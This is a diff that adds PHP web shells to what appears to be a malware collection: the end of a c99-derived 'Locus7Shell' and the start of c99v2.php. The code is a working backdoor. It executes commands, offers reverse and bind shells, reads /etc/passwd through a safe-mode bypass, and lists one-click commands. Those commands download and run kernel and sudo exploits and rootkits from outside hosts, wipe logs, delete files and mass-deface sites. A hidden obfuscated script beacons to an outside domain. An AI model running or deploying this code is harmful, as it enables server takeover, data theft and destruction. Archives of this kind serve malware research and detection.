+"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +//For simple size- and speed-optimization. +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) +{ + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else +{ + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; +} +exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +if ($act == "backc") +{ +$ip = $_SERVER["REMOTE_ADDR"]; +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<center><b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br></center>"); +echo("$msg"); +echo("$emsg"); +} + +if ($act == "shbd"){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<center><b>Bind Shell Backdoor:</b></br></br><form name=form method=POST> +Bind Port: <input type='text' name='backconnectport' value='5992'> +<input type='hidden' name='use' value='shbd'> +<input type='submit' value='Install Backdoor'></form>"); +echo("$msg"); +echo("$emsg"); +echo("</center>"); +} ?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Useful Commands + </div> + <form action="<?php echo $surl; ?>"> + <div align="center"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <SELECT NAME="cmd"> + <OPTION VALUE="uname -a">Kernel version + <OPTION VALUE="w">Logged in users + <OPTION VALUE="lastlog">Last to connect + <OPTION VALUE="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins + <OPTION VALUE="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD! + <OPTION VALUE="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/? + <OPTION VALUE="which wget curl w3m lynx">Downloaders? + <OPTION VALUE="cat /proc/version /proc/cpuinfo">CPUINFO + <OPTION VALUE="netstat -atup | grep IST">Open ports + <OPTION VALUE="locate gcc">gcc installed? + <OPTION VALUE="rm -Rf">Format box (DANGEROUS) + <OPTION VALUE="wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c">WIPELOGS PT1 (If wget installed) + <OPTION VALUE="gcc zap2.c -o zap2">WIPELOGS PT2 + <OPTION VALUE="./zap2">WIPELOGS PT3 + <OPTION VALUE="wget http://ftp.powernet.com.tr/supermail/debug/k3">Kernel attack (Krad.c) PT1 (If wget installed) + <OPTION VALUE="./k3 1">Kernel attack (Krad.c) PT2 (L1) + <OPTION VALUE="./k3 2">Kernel attack (Krad.c) PT2 (L2) + <OPTION VALUE="./k3 3">Kernel attack (Krad.c) PT2 (L3) + <OPTION VALUE="./k3 4">Kernel attack (Krad.c) PT2 (L4) + <OPTION VALUE="./k3 5">Kernel attack (Krad.c) PT2 (L5) + <OPTION VALUE="wget http://precision-gaming.com/sudo.c">wget Linux sudo stack overflow + <OPTION VALUE="gcc sudo.c -o sudosploit">Compile Linux sudo sploit + <OPTION VALUE="./sudosploit">Execute Sudosploit + <OPTION VALUE="wget http://twofaced.org/linux2-6-all.c">Linux Kernel 2.6.* rootkit.c + <OPTION VALUE="gcc linux2-6-all.c -o linuxkernel">Compile Linux2-6-all.c + <OPTION VALUE="./linuxkernel">Run Linux2-6-all.c + <OPTION VALUE="wget http://twofaced.org/mig-logcleaner.c">Mig LogCleaner + <OPTION VALUE="gcc -DLINUX -WALL mig-logcleaner.c -o migl">Compile Mig LogCleaner + <OPTION VALUE="./migl -u root 0">Compile Mig LogCleaner + <OPTION VALUE="sed -i -e 's/<html>/<div style=\'position\:absolute\;width\:2000px\;height\:2000px\;background-color\:black\'><br><br><br><br>&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;<img src=\'http://img80.imageshack.us/img80/6513/dcopyvx9.jpg\'><br><font size=\'10\' color=\'green\'>&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;&nbsp\;<font size=\'10\' color=\'green\'>HACKED BY <a href=\'http\:\/\/ALTURKS.COM\'>LOCUS7S<\/a><\/font><\/div><meta http-equiv=\'refresh\' content=\'5\\;url=http\:\/\/ALTURKS.COM\'>/g' index.*">index.* Mass Defacement + </SELECT> + <input type=hidden name="cmd_txt" value="1"> + &nbsp; + <input type=submit name=submit value="Execute"> + <br> + Warning. Kernel may be alerted using higher levels </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Kernel Info: <form name="form1" method="post" action="http://google.com/search"> + <input name="q" type="text" id="q" size="80" value="<?php echo wordwrap(php_uname()); ?>"> + <input type="hidden" name="client" value="firefox-a"> + <input type="hidden" name="rls" value="org.mozilla:en-US:official"> + <input type="hidden" name="hl" value="en"> + <input type="hidden" name="hs" value="b7p"> + <input type=submit name="btnG" VALUE="Search"> + </form></center> + </td> +</tr></TABLE><br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="116" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr><td height="1" valign="top" colspan="2"></td></tr> +<tr> + <td width="50%" height="83" valign="top"><center> + <div align="center">Php Safe-Mode Bypass (Read Files) + </div><br> + <form action="<?php echo $surl; ?>"> + <div align="center"> + File: <input type="text" name="file" method="get"> <input type="submit" value="Read File"><br><br> eg: /etc/passwd<br> + + + + + + + <? + + function rsg_read() + { + $test=""; + $temp=tempnam($test, "cx"); + $file=$_GET['file']; + $get=htmlspecialchars($file); + echo "<br>Trying To Get File <font color=#000099><b>$get</b></font><br>"; + if(copy("compress.zlib://".$file, $temp)){ + $fichier = fopen($temp, "r"); + $action = fread($fichier, filesize($temp)); + fclose($fichier); + $source=htmlspecialchars($action); + echo "<div class=\"shell\"><b>Start $get</b><br><br><font color=\"white\">$source</font><br><b><br>Fin <font color=#000099>$get</font></b>"; + unlink($temp); + } else { + die("<FONT COLOR=\"RED\"><CENTER>Sorry... File + <B>".htmlspecialchars($file)."</B> dosen't exists or you don't have + access.</CENTER></FONT>"); + } + echo "</div>"; + } + + if(isset($_GET['file'])) +{ +rsg_read(); +} + + ?> + + <? + + function rsg_glob() +{ +$chemin=$_GET['directory']; +$files = glob("$chemin*"); +echo "Trying To List Folder <font color=#000099><b>$chemin</b></font><br>"; +foreach ($files as $filename) { + echo "<pre>"; + echo "$filename\n"; + echo "</pre>"; +} +} + +if(isset($_GET['directory'])) +{ +rsg_glob(); +} + +?> + + <br> + </div> + </form> + </td> + <td width="50%" height="83" valign="top"><center> + <center>Php Safe-Mode Bypass (List Directories): <form action="<?php echo $surl; ?>"> + <div align="center"><br> + Dir: <input type="text" name="directory" method="get"> <input type="submit" value="List Directory"><br><br> eg: /etc/<br> + + </form></center> + </td> +</tr></TABLE> + +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1> +<tr> +<td width="50%" height="1" valign="top"><center>Search<form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> +<td width="50%" height="1" valign="top"><center>Upload<form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Make Dir<form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center>Make File<form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center>Go Dir<form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center>Go File<form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table><br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ x2300 Locus7Shell v. <?php echo $shver; ?> <a href="http://www.ALTURKS.COM/"><u><b>Edited By</b></u></a> KingDefacer | <a href="http://www.ALTURKS.COM">www.ALTURKS.COM</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c999shexit(); ?> +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c99v2.php b/web-malware-collection-master/Backdoors/PHP/c99v2.php new file mode 100755 index 0000000..8700c81 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99v2.php @@ -0,0 +1,2887 @@ +<?php +/* +****************************************************************************************************** +* +* c99shell.php v.1.0 Shellci.Biz +* SheLL Archive +* c99shell - Shellci.biz +* +****************************************************************************************************** +*/ + +//Starting calls +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +@ignore_user_abort(true); +@set_magic_quotes_runtime(0); +@set_time_limit(0); +$win = strtolower(substr(PHP_OS, 0, 3)) == "win"; +if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);} +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 beta (21.05.2005)"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) 